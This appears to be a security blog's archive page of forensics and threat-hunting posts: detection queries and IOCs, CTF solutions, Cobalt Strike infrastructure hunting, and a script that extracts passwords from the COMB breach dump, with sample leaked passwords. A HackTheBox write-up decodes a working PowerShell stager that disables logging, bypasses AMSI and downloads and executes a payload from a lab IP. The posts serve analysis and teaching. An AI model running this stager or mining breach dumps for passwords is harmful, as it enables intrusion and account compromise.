Protected: HackTheBox.eu – USB Ripper (Forensics 20 points)
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Author Archives: zam
Carbon Black query for Microsoft MSHTML Remote Code Execution Vulnerability (CVE-2021-40444)
Carbon Black query that can be use to detect if any MSHTML RCE happened (probably need to be refined more):
((process_cmdline:control.exe AND ((process_cmdline:*.inf AND process_cmdline:AppData) OR (process_cmdline:*.cpl AND process_cmdline:../)) AND -process_cmdline:*\icedrive\*) OR ((hash:6EEDF45CB91F6762DE4E35E36BCB03E5AD60CE9AC5A08CAEB7EDA035CD74762B OR hash:938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52) OR (parent_hash:6EEDF45CB91F6762DE4E35E36BCB03E5AD60CE9AC5A08CAEB7EDA035CD74762B OR parent_hash:938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52) OR (filemod_hash:6EEDF45CB91F6762DE4E35E36BCB03E5AD60CE9AC5A08CAEB7EDA035CD74762B OR filemod_hash:938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52)))
Search if any assets making connections towards IOCs (known IOCs as of 9 Sept):
netconn_domain:joxinu.com OR netconn_domain:pawevi.com OR netconn_domain:macuwuf.com
References:
- https://tdm.socprime.com/tdm/info/SQewQsNtCsP6/#sigma
- https://tdm.socprime.com/tdm/info/vzmHh2p4UtjC/uY7yxHsBeuDgr7zG3EyE/?p=1#sigma
- https://www.joesandbox.com/analysis/476188/1/html
- https://otx.alienvault.com/pulse/613914361364535ed5d60bc4
IOCs:
- hidusi.com
- dodefoh.com
- joxinu.com
- pawevi.com
- macuwuf.com
- 23.106.160.25
- 6EEDF45CB91F6762DE4E35E36BCB03E5AD60CE9AC5A08CAEB7EDA035CD74762B – championship.inf
- 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 – A Letter before court 4.docx
Extracting password from data leaks dump files
Recently I’ve read about this data leak; COMB: largest breach of all time leaked online with 3.2 billion records.
According to the article, it was known as “Compilation of Many Breaches” (COMB). This data was leaked on a popular hacking forum. It contains billions of user credentials from past leaks from Netflix, LinkedIn, Exploit.in, Bitcoin and more. This leak contains email and password pairs.
Inside the data dump, it was structured something like this:
CompilationOfManyBreaches
folderdata
folder1
file0
file1
folder2
file0
file1
The file contains something like this:
[email protected]:15935755b
[email protected]:jumpjet1111
[email protected]:beamerbum2
[email protected]:dmitri79
[email protected]:7210996
Which indicated as email:password
So I’m wondered… What if we extract either email or password only from all those files? We can maybe create a password list from that. Or we can analyze the password trend. See what’s the top password being used & stuff.
So… We’re not going thru all hundreds of files which total up 100GB+ to extract the password manually… That’s crazy ma man!
To make it easier, I’ve created a Python script to extract the password from all dump file recursively. The code as below:
#!/usr/bin/env python
import os
from timeit import default_timer as timer
from datetime import timedelta
inputfile = "/Desktop/test/data" #change this to your dump files locations
outputfile = open("extracted_password.txt", "w")
print("\nStart extracting...")
start = timer()
for path, dirs, files in os.walk(inputfile):
for filename in files:
fullpath = os.path.join(path, filename)
with open(fullpath, "r") as f:
#print(f.read())
for line in f:
email, password, *rest = line.split(":")
outputfile.write("%s" % password)
#print(password, end='')
outputfile.close()
print("Finish!\n")
end = timer()
print("Time Taken: ", end='')
print(timedelta(seconds=end-start))
Save the code above & run the script:
$ python password_extractor.py
It may takes some times depending on your hardware resources and dump file size. You should see output something like this after the script completed execution:
When completed, you should see a new file named “extracted_password.txt” being created. Inside it contains all the password from all dump file; consolidated into 1 single big ass file.
Now we can start analyzing the password pattern. We can use this command below to see what’s the top 10 password:
$ time sort extracted_password.txt | uniq -c | sort -bgr | head -10
Happy hunting & analyzing! 🙂
Generate Memory Dump from .vmss file using vmss2core
Previously, I’ve encountered a problem where I’m unable to copy the .vmem file for further analysis.
So, the next alternative way that we can do is to use .vmss file & convert it into .vmem file. .vmss is a Virtual machine suspend file.
To start convert it, first you need to download vmss2core tool here – https://flings.vmware.com/vmss2core
Next, open your cmd and enter cmd as below:
F:\Tools> .\vmss2core-sb-8456865.exe -W 'F:\INC\<REDACTED>\<REDACTED>.vmss'
vmss2core version 8456865 Copyright (C) 1998-2017 VMware, Inc. All rights reserved.
region[0]: start=0 end=c0000000.
region[1]: start=100000000 end=240000000.
Cannot translate linear address 0.
... 10 MBs written.
... 20 MBs written.
<snip>
... 8180 MBs written.
... 8190 MBs written.
Finished writing core.
After it finished, it will create a file named memory.vmem.
There you have it. So you can start doing your memory analysis using volatility if you want.
For example, here we’ll be using volatility in order to find out the profile for which .vmem is created.
$ python vol.py -f memory.dmp imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
AS Layer2 : VirtualBoxCoreDumpElf64 (Unnamed AS)
AS Layer3 : FileAddressSpace (/home/memory.dmp)
PAE type : No PAE
DTB : 0x187000L
KDBG : 0xf800028530a0L
Number of Processors : 1
Image Type (Service Pack) : 1
KPCR for CPU 0 : 0xfffff80002854d00L
KUSER_SHARED_DATA : 0xfffff78000000000L
Image date and time : 2019-12-23 17:42:50 UTC+0000
Image local date and time : 2019-12-23 11:42:50 -0600
Global Community CTF: Mini Bootup by SANS – NM02
Question:
This server is trying to get us to run some calculations but it's just too fast for us. Can you work out a way to solve this?
Domain: cgames-nm02.allyourbases.co Port: 9010
Let’s try connect to the domain & port given via netcat
Hmm. There’s mathematic question that we need to solve. But we’re too slow on solving it..
What if we create a bot to solve those question?
import pwn
import re
host, port = 'cgames-nm02.allyourbases.co', 9010
session = pwn.remote(host, port)
while True:
try:
what = session.recv(1024)
questionrm = (what.replace('=','')) #remove =
print "Q: " + questionrm
math = eval(questionrm)
math_str = str(math)
print "AS: " + math_str
print session.sendline(math_str)
print session.recvline()
except EOFError:
print('Done!')
break
session.close()
Save it & run. Watch the magic happen…
The flag is: SuperServer1337
Global Community CTF: Mini Bootup by SANS – NM01
Question:
We have captured a file being transferred over the network, can you take a look and see if you can find anything useful?
https://cgames-files.allyourbases.co/nm01.zip
Hint: External tools like CyberChef can help decode the data.
Download & extract the file. You’ll see named “nm01.pcapng“
Open the pcap file using Wireshark. Usually, I sort frame with large “Length” number and view the content.
On Frame 4 – right click – click “Follow” – click “TCP stream”
hmm.. this “SecurePa55word8!” seems interesting. I tried to submit it as flag, but it says wrong..
So, I viewed another large frame, on Frame 26. I saw there’s string “7z“. I thought, it could be a 7z file. I took the hex number; “37 7a” & search on Google. Based on this site – https://www.filesignatures.net/index.php?page=search&search=377ABCAF271C&mode=SIG, it is confirm that this is indeed a 7z file.
So, on the same frame 26, right click and follow TCP stream. It will show you the stream/content of it. At bottom of the stream, on options “Show and save data as“, change it to “Raw”.
Click “Save as…” and save it as name you like – in this example, I’ll name it as “7out“.
When I open the file, there’s folder named “FLAG” and inside it contain file named “Flag.txt”. It’s password protected when we tried to view it.
So, maybe we can use the string/password that we discover earlier:
It works! The flag is “capturing_clouds_and_keys” .
Hunting for possible attacker Cobalt-Strike infra
Recently, we have an incident where suspicious traffic was observed related to external C2. Initial finding found that this IP 172.241.27.17 (172.241.24.0/21) resolved to
atakai[-]technologies[.]host; according to pDNS in Virustotal [1].
So, further digging on this IP found it has port 50050 open. Based on Recorded Future threat analysis report & Cobalt Strike Team Server Population Study, it mentioned that default port for Cobalt Strike controller is on port 50050.
So, I asked to myself. What if the neighboring IPs were also been setup for Cobalt Strike infrastructure? So I decided to go on this journey…
First, we know that the IP range is 172.241.24.0/21. By using this tool, we can convert CIDR notation to a range of IP addresses.
The result, we have 2048 addresses; IP address range between 172.241.24.0-172.241.31.255.
Next, we using online tool named Reverse IP & DNS API from WhoisXML API. Function of this tools is to reveals all domains that share an IP address. Example as below:
To use this tools, we need to buy credit to leverage its API. As for free account, you only have 100 credit to be use on Domain Research Suite tools. But on this case, we need around 2050 credit. Based on their website, 1000 DRS credits = $19.00. So.. yeah..
After you have enough credit, you can use the script as below:
#!/bin/bash
url="https://reverse-ip.whoisxmlapi.com/api/v1?apiKey=whoisxml_apikey&ip="
for i in $(cat ip.txt); do
content="$(curl -s "$url$i")"
echo "$content" >> output.txt
done
Remember to put your API key into the script. It will basically produce result into “output.txt“.
After that, import you result into Excel. Then, we sort and select possible domains from the output based on domain naming convention; e.g. atakai, amatai, amamai:
Now we have possible suspected IPs & domains. To further digging, we’ll leverage Shodan.io to see what are the open port available for those IPs.
To use it, we’ll using script as below:
$ curl -s https://api.shodan.io/shodan/host/{172.241.27.17,172.241.27.44,172.241.27.62,172.241.27.65,172.241.27.66,172.241.27.68,172.241.27.72,172.241.27.225,172.241.29.155,172.241.29.156,172.241.29.157}?key=shodan_apikey | jq -r '. | "IP: \(.ip_str) Ports: \(.ports)"'
The output should be like this:
Now we know 7/11 (no pun intended) IPs been observed by Shodan having port 50050 opened. This indicate that this set of IPs possibly used part of Cobalt Strike infra.
Next step is we can search for date registration for each domain from Whois data. But I’m too lazy to continue this. Also I’ve encountered where several Whois provider giving different info regarding of domain registration date. So yeah, maybe I’ll update next time when I’m free 😉
HackTheBox.eu – Reminiscent (Forensics 40 points)
For this question, I use Volatility to solve it. You can try to use Volatility Workbench. For me, it seems like not working properly (or I’m just too noob to use it).
First, download the file reminiscent.zip from the site. Extract it. You should see file named:
- flounder-pc-memdump.elf
- imageinfo.txt
- Resume.eml
If you open the email file “Resume.eml“, you’ll find it contain a link “resume.zip“.
Based on clue/hint given:
Our recruiter mentioned he received an email from someone regarding their resume.
So maybe the recruiter opened the attachment from the email and something malicious happened.
To start analyzing this incident, we can use Volatility & dig further using the memdump “flounder-pc-memdump.elf“.
Usually, when I start doing memory forensic, I will try to determine which profile suitable to be used. To start with, run this command:
python vol.py -f flounder-pc-memdump.elf imageinfo
If thing goes correctly, you should see something like this:
So we’ll be using profile “Win7SP1x64_23418” for our investigation.
Next, we’ll try to see what were the running processes using “pstree“. This plugin used to display the processes and their parent processes. Run command as below:
python vol.py -f flounder-pc-memdump.elf --profile=Win7SP1x64_23418 pstree
You should see as below:
From this process list, we can see couple of suspicious process; e.g. Thunderbird (free email application) spawning powershell? hmm..
Also remember our recruiter mentioned that he received email from someone? So maybe the recruiter is using Thunderbird to open that email; which he accidentally opened the attachment.
So we lets see if the recruiter host machine contains file named “resume“:
python vol.py -f flounder-pc-memdump.elf --profile=Win7SP1x64_23418 filescan | grep -i resume
Now we know that on recruiter machine contains file name “resume.pdf.lnk“. LNK files are usually seen by users as shortcuts, and used in places like the Desktop and Start Menu.
Lets dump those 2 .lnk file for us to further investigate:
python vol.py -f flounder-pc-memdump.elf --profile=Win7SP1x64_23418 dumpfiles -n -i -r \\.lnk --dump-dir=reminiscent_output
You should see 2 file inside output folder.
Let’s see what’s inside that 2 file:
strings file.496.0xfffffa80017dcc60.resume.pdf.lnk.vacb
As you can see, it contains some base64 strings at below. Let’s analyze those base64 strings.
p o w e r s h e l l   - n o P   - s t a   - w   1   - e n c     J A B H A H I A b w B V A F A A U A B P A E w A a Q B D A F k A U w B F A H Q A d A B J A E 4 A R w B z A C A A P Q A g A F s A c g B F A E Y A X Q A u A E E A U w B z A G U A T Q B C A E w A W Q A u A E c A R Q B 0 A F Q A e Q B w A E U A K A A n A F M A e Q B z A H Q A Z Q B t A C 4 A T Q B h A G 4 A Y Q B n A G U A b Q B l A G 4 A d A A u A E E A d Q B 0 A G 8 A b Q B h A H Q A a Q B v A G 4 A L g B V A H Q A a Q B s A H M A J w A p A C 4 A I g B H A E U A d A B G A E k A R Q B g A G w A Z A A i A C g A J w B j A G E A Y w B o A G U A Z A B H A H I A b w B 1 A H A A U A B v A G w A a Q B j A H k A U w B l A H Q A d A B p A G 4 A Z w B z A C c A L A A g A C c A T g A n A C s A J w B v A G 4 A U A B 1 A G I A b A B p A G M A L A B T A H Q A Y Q B 0 A G k A Y w A n A C k A L g B H A E U A V A B W A G E A b A B V A G U A K A A k A G 4 A d Q B s A E w A K Q A 7 A C Q A R w B S A G 8 A d Q B Q A F A A T w B s A E k A Q w B 5 A F M A Z Q B U A F Q A a Q B O A G c A U w B b A C c A U w B j A H I A a Q B w A H Q A Q g A n A C s A J w B s A G 8 A Y w B r A E w A b w B n A G c A a Q B u A G c A J w B d A F s A J w B F A G 4 A Y Q B i A G w A Z Q B T A G M A c g B p A H A A d A B C A C c A K w A n A G w A b w B j A G s A T A B v A G c A Z w B p A G 4 A Z w A n A F 0 A I A A 9 A C A A M A A 7 A C Q A R w B S A G 8 A d Q B Q A F A A T w B M A E k A Q w B Z A F M A R Q B 0 A F Q A a Q B u A G c A U w B b A C c A U w B j A H I A a Q B w A H Q A Q g A n A C s A J w B s A G 8 A Y w B r A E w A b w B n A G c A a Q B u A G c A J w B d A F s A J w B F A G 4 A Y Q B i A G w A Z Q B T A G M A c g B p A H A A d A B C A G w A b w B j A G s A S Q B u A H Y A b w B j A G E A d A B p A G 8 A b g B M A G 8 A Z w B n A G k A b g B n A C c A X Q A g A D 0 A I A A w A D s A W w B S A G U A Z g B d A C 4 A Q Q B z A F M A Z Q B t A E I A b A B 5 A C 4 A R w B l A F Q A V A B 5 A F A A R Q A o A C c A U w B 5 A H M A d A B l A G 0 A L g B N A G E A b g B h A G c A Z Q B t A G U A b g B 0 A C 4 A Q Q B 1 A H Q A b w B t A G E A d A B p A G 8 A b g A u A E E A b Q B z A G k A V Q B 0 A G k A b A B z A C c A K Q B 8 A D 8 A e w A k A F 8 A f Q B 8 A C U A e w A k A F 8 A L g B H A E U A d A B G A G k A Z Q B M A G Q A K A A n A G E A b Q B z A G k A S Q B u A G k A d A B G A G E A a Q B s A G U A Z A A n A C w A J w B O A G 8 A b g B Q A H U A Y g B s A G k A Y w A s A F M A d A B h A H Q A a Q B j A C c A K Q A u A F M A R Q B U A F Y A Y Q B M A H U A R Q A o A C Q A T g B 1 A G w A T A A s A C Q A V A B y A H U A Z Q A p A H 0 A O w B b A F M A e Q B z A F Q A Z Q B t A C 4 A T g B l A F Q A L g B T A E U A c g B W A E k A Y w B l A F A A T w B J A G 4 A d A B N A E E A b g B B A G c A R Q B S A F 0 A O g A 6 A E U A e A B w A E U A Y w B 0 A D E A M A A w A E M A T w B u A F Q A a Q B u A H U A R Q A 9 A D A A O w A k A F c A Q w A 9 A E 4 A R Q B X A C 0 A T w B C A G o A R Q B j A F Q A I A B T A H k A c w B U A E U A T Q A u A E 4 A R Q B 0 A C 4 A V w B l A E I A Q w B s A E k A R Q B u A H Q A O w A k A H U A P Q A n A E 0 A b w B 6 A G k A b A B s A G E A L w A 1 A C 4 A M A A g A C g A V w B p A G 4 A Z A B v A H c A c w A g A E 4 A V A A g A D Y A L g A x A D s A I A B X A E 8 A V w A 2 A D Q A O w A g A F Q A c g B p A G Q A Z Q B u A H Q A L w A 3 A C 4 A M A A 7 A C A A c g B 2 A D o A M Q A x A C 4 A M A A p A C A A b A B p A G s A Z Q A g A E c A Z Q B j A G s A b w A n A D s A J A B 3 A E M A L g B I A G U A Y Q B E A G U A c g B T A C 4 A Q Q B k A G Q A K A A n A F U A c w B l A H I A L Q B B A G c A Z Q B u A H Q A J w A s A C Q A d Q A p A D s A J A B X A G M A L g B Q A F I A b w B Y A H k A P Q B b A F M A e Q B z A F Q A Z Q B N A C 4 A T g B F A F Q A L g B X A G U A Y g B S A G U A c Q B 1 A E U A c w B 0 A F 0 A O g A 6 A E Q A Z Q B m A G E A V Q B M A H Q A V w B l A E I A U A B S A E 8 A W A B Z A D s A J A B 3 A E M A L g B Q A F I A b w B Y A F k A L g B D A F I A R Q B E A G U A T g B 0 A E k A Y Q B M A F M A I A A 9 A C A A W w B T A F k A U w B U A G U A T Q A u A E 4 A R Q B U A C 4 A Q w B y A G U A R A B F A G 4 A V A B p A G E A T A B D A G E A Q w B o A G U A X Q A 6 A D o A R A B l A E Y A Y Q B 1 A E w A V A B O A E U A d A B 3 A E 8 A c g B r A E M A c g B l A G Q A Z Q B u A H Q A a Q B B A G w A U w A 7 A C Q A S w A 9 A F s A U w B Z A F M A d A B F A E 0 A L g B U A G U A e A B 0 A C 4 A R Q B O A E M A T w B E A E k A b g B n A F 0 A O g A 6 A E E A U w B D A E k A S Q A u A E c A R Q B 0 A E I A e Q B 0 A E U A c w A o A C c A R Q A x A G c A T Q B H A G Q A Z g B U A E A A Z Q B v A E 4 A P g B 4 A D k A e w B d A D I A R g A 3 A C s A Y g B z A E 8 A b g A 0 A C 8 A U w B p A F E A c g B 3 A C c A K Q A 7 A C Q A U g A 9 A H s A J A B E A C w A J A B L A D 0 A J A B B A H I A Z w B T A D s A J A B T A D 0 A M A A u A C 4 A M g A 1 A D U A O w A w A C 4 A L g A y A D U A N Q B 8 A C U A e w A k A E o A P Q A o A C Q A S g A r A C Q A U w B b A C Q A X w B d A C s A J A B L A F s A J A B f A C U A J A B L A C 4 A Q w B v A H U A b g B U A F 0 A K Q A l A D I A N Q A 2 A D s A J A B T A F s A J A B f A F 0 A L A A k A F M A W w A k A E o A X Q A 9 A C Q A U w B b A C Q A S g B d A C w A J A B T A F s A J A B f A F 0 A f Q A 7 A C Q A R A B 8 A C U A e w A k A E k A P Q A o A C Q A S Q A r A D E A K Q A l A D I A N Q A 2 A D s A J A B I A D 0 A K A A k A E g A K w A k A F M A W w A k A E k A X Q A p A C U A M g A 1 A D Y A O w A k A F M A W w A k A E k A X Q A s A C Q A U w B b A C Q A S A B d A D 0 A J A B T A F s A J A B I A F 0 A L A A k A F M A W w A k A E k A X Q A 7 A C Q A X w A t A G I A e A B v A F I A J A B T A F s A K A A k A F M A W w A k A E k A X Q A r A C Q A U w B b A C Q A S A B d A C k A J Q A y A D U A N g B d A H 0 A f Q A 7 A C Q A d w B j A C 4 A S A B F A E E A Z A B F A H I A c w A u A E E A R A B E A C g A I g B D A G 8 A b w B r A G k A Z Q A i A C w A I g B z A G U A c w B z A G k A b w B u A D 0 A T Q B D A G E A a A B 1 A F E A V g B m A H o A M A B 5 A E 0 A N g B W A E I A Z Q A 4 A G Y A e g B W A D k A d A A 5 A G o A b w B t A G 8 A P Q A i A C k A O w A k A H M A Z Q B y A D 0 A J w B o A H Q A d A B w A D o A L w A v A D E A M A A u A D E A M A A u A D k A O Q A u A D U A N Q A 6 A D g A M A A n A D s A J A B 0 A D 0 A J w A v A G w A b w B n A G k A b g A v A H A A c g B v A G M A Z Q B z A H M A L g B w A G g A c A A n A D s A J A B m A G w A Y Q B n A D 0 A J w B I A F Q A Q g B 7 A C Q A X w B q A D A A R w B f A H k A M A B 1 A F I A X w B N A D M A b Q A w A H I A W Q B f A C Q A f Q A n A D s A J A B E A G E A d A B B A D 0 A J A B X A E M A L g B E A G 8 A V w B O A E w A b w B h A E Q A R A B B A F Q A Q Q A o A C Q A U w B l A F I A K w A k A H Q A K Q A 7 A C Q A a Q B 2 A D 0 A J A B k A G E A V A B B A F s A M A A u A C 4 A M w B d A D s A J A B E A E E A d A B h A D 0 A J A B E A G E A V A B h A F s A N A A u A C 4 A J A B E A E E A d A B h A C 4 A T A B l A G 4 A R w B U A E g A X Q A 7 A C 0 A S g B P A E k A T g B b A E M A S A B B A H I A W w B d A F 0 A K A A m A C A A J A B S A C A A J A B k A G E A d A B B A C A A K A A k A E k A V g A r A C Q A S w A p A C k A f A B J A E U A W A A = 
By using Cyberchef, the base64 strings appear to be another Powershell base64 encoded command:
powershell -noP -sta -w 1 -enc JABHAHIAbwBVAFAAUABPAEwAaQBDAFkAUwBFAHQAdABJAE4ARwBzACAAPQAgAFsAcgBFAEYAXQAuAEEAUwBzAGUATQBCAEwAWQAuAEcARQB0AFQAeQBwAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAEUAdABGAEkARQBgAGwAZAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAgACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBHAEUAVABWAGEAbABVAGUAKAAkAG4AdQBsAEwAKQA7ACQARwBSAG8AdQBQAFAATwBsAEkAQwB5AFMAZQBUAFQAaQBOAGcAUwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AIAA9ACAAMAA7ACQARwBSAG8AdQBQAFAATwBMAEkAQwBZAFMARQB0AFQAaQBuAGcAUwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQAgAD0AIAAwADsAWwBSAGUAZgBdAC4AQQBzAFMAZQBtAEIAbAB5AC4ARwBlAFQAVAB5AFAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAEUAdABGAGkAZQBMAGQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQBUAFYAYQBMAHUARQAoACQATgB1AGwATAAsACQAVAByAHUAZQApAH0AOwBbAFMAeQBzAFQAZQBtAC4ATgBlAFQALgBTAEUAcgBWAEkAYwBlAFAATwBJAG4AdABNAEEAbgBBAGcARQBSAF0AOgA6AEUAeABwAEUAYwB0ADEAMAAwAEMATwBuAFQAaQBuAHUARQA9ADAAOwAkAFcAQwA9AE4ARQBXAC0ATwBCAGoARQBjAFQAIABTAHkAcwBUAEUATQAuAE4ARQB0AC4AVwBlAEIAQwBsAEkARQBuAHQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJAB3AEMALgBIAGUAYQBEAGUAcgBTAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJABXAGMALgBQAFIAbwBYAHkAPQBbAFMAeQBzAFQAZQBNAC4ATgBFAFQALgBXAGUAYgBSAGUAcQB1AEUAcwB0AF0AOgA6AEQAZQBmAGEAVQBMAHQAVwBlAEIAUABSAE8AWABZADsAJAB3AEMALgBQAFIAbwBYAFkALgBDAFIARQBEAGUATgB0AEkAYQBMAFMAIAA9ACAAWwBTAFkAUwBUAGUATQAuAE4ARQBUAC4AQwByAGUARABFAG4AVABpAGEATABDAGEAQwBoAGUAXQA6ADoARABlAEYAYQB1AEwAVABOAEUAdAB3AE8AcgBrAEMAcgBlAGQAZQBuAHQAaQBBAGwAUwA7ACQASwA9AFsAUwBZAFMAdABFAE0ALgBUAGUAeAB0AC4ARQBOAEMATwBEAEkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcARQB0AEIAeQB0AEUAcwAoACcARQAxAGcATQBHAGQAZgBUAEAAZQBvAE4APgB4ADkAewBdADIARgA3ACsAYgBzAE8AbgA0AC8AUwBpAFEAcgB3ACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAHIAZwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBvAHUAbgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAeABvAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAdwBjAC4ASABFAEEAZABFAHIAcwAuAEEARABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0ATQBDAGEAaAB1AFEAVgBmAHoAMAB5AE0ANgBWAEIAZQA4AGYAegBWADkAdAA5AGoAbwBtAG8APQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADkAOQAuADUANQA6ADgAMAAnADsAJAB0AD0AJwAvAGwAbwBnAGkAbgAvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnADsAJABmAGwAYQBnAD0AJwBIAFQAQgB7ACQAXwBqADAARwBfAHkAMAB1AFIAXwBNADMAbQAwAHIAWQBfACQAfQAnADsAJABEAGEAdABBAD0AJABXAEMALgBEAG8AVwBOAEwAbwBhAEQARABBAFQAQQAoACQAUwBlAFIAKwAkAHQAKQA7ACQAaQB2AD0AJABkAGEAVABBAFsAMAAuAC4AMwBdADsAJABEAEEAdABhAD0AJABEAGEAVABhAFsANAAuAC4AJABEAEEAdABhAC4ATABlAG4ARwBUAEgAXQA7AC0ASgBPAEkATgBbAEMASABBAHIAWwBdAF0AKAAmACAAJABSACAAJABkAGEAdABBACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA=
After we decoded it, it appear to be some sort of Powershell instruction for the host machine with various hard-coded parameter e.g. hard-coded User-Agent, IP address, path & HTB flag 😉
$GroUPPOLiCYSEttINGs = [rEF].ASseMBLY.GEtTypE('System.Management.Automation.Utils')."GEtFIE`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static').GETValUe($nulL);$GRouPPOlICySeTTiNgS['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;$GRouPPOLICYSEtTingS['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;[Ref].AsSemBly.GeTTyPE('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GEtFieLd('amsiInitFailed','NonPublic,Static').SETVaLuE($NulL,$True)};[SysTem.NeT.SErVIcePOIntMAnAgER]::ExpEct100COnTinuE=0;$WC=NEW-OBjEcT SysTEM.NEt.WeBClIEnt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wC.HeaDerS.Add('User-Agent',$u);$Wc.PRoXy=[SysTeM.NET.WebRequEst]::DefaULtWeBPROXY;$wC.PRoXY.CREDeNtIaLS = [SYSTeM.NET.CreDEnTiaLCaChe]::DeFauLTNEtwOrkCredentiAlS;$K=[SYStEM.Text.ENCODIng]::ASCII.GEtBytEs('E1gMGdfT@eoN>x9{]2F7+bsOn4/SiQrw');$R={$D,$K=$ArgS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CounT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxoR$S[($S[$I]+$S[$H])%256]}};$wc.HEAdErs.ADD("Cookie","session=MCahuQVfz0yM6VBe8fzV9t9jomo=");$ser='http://10.10.99.55:80';$t='/login/process.php';$flag='HTB{$_j0G_y0uR_M3m0rY_$}';$DatA=$WC.DoWNLoaDDATA($SeR+$t);$iv=$daTA[0..3];$DAta=$DaTa[4..$DAta.LenGTH];-JOIN[CHAr[]](& $R $datA ($IV+$K))|IEX
So there you go. The flag is HTB{$_j0G_y0uR_M3m0rY_$}.
Analyzing Phishing Email – Word XML File Analysis
Recently I’ve observed a phishing mail as below:
https://www.virustotal.com/#/file/cf027dd938f1a268f45f2ea786dc538ab47f35006fb12d0b64e0867bccf789c0/detection – clean
The file seems to be clean per VT. Interestingly, on details sections, found 2 URLs under OpenXML Doc Info; section Package Relationships:
To search for these URLs, first you’ll need to rename the Word doc file to compressed zip file. E.g. sample.doc to sample.zip.
Then, extract the zip file. The URLs can be found inside file document.xml.rels (~/sample_folder/word/_rels/):
Its may look simple if you know which & where the file to be look at.
I’m thinking; what if we can search for all the URL/hyperlink in the XML files content of the Word document, without actually having to open it one-by-one.
To do that, we’ll using zipdump, re-search (together with reextra) Python script tools by Didier Stevens:
Download the Python scripts mentioned above and put it into one place. Then, executed this command below:
./zipdump.py -D sample.zip | ./re-search.py -f -n url -u
Command above will search the content of the zip file & extract/applied regex searching for URLs.
As you can see below, these is all the URLs that contained in the Word doc:
Check bulk IP for reverse DNS (rDNS)
Recently I’ve encounter list of IPs that are related to CoinHive. So I want to check for domains that tied to these IPs. We can do that by using dig command to perform reverse DNS (rDNS).
Reverse DNS (rDNS) is a method of resolving an IP address into domain name, just as the domain name system (DNS) resolves domain names into associated IP addresses.
I found this script at this site:
#!/bin/bash
for item
do
domain=$(dig -x "$item" +short)
if [ -n "$domain" ] ;
then
echo "$item" - "$domain"
else
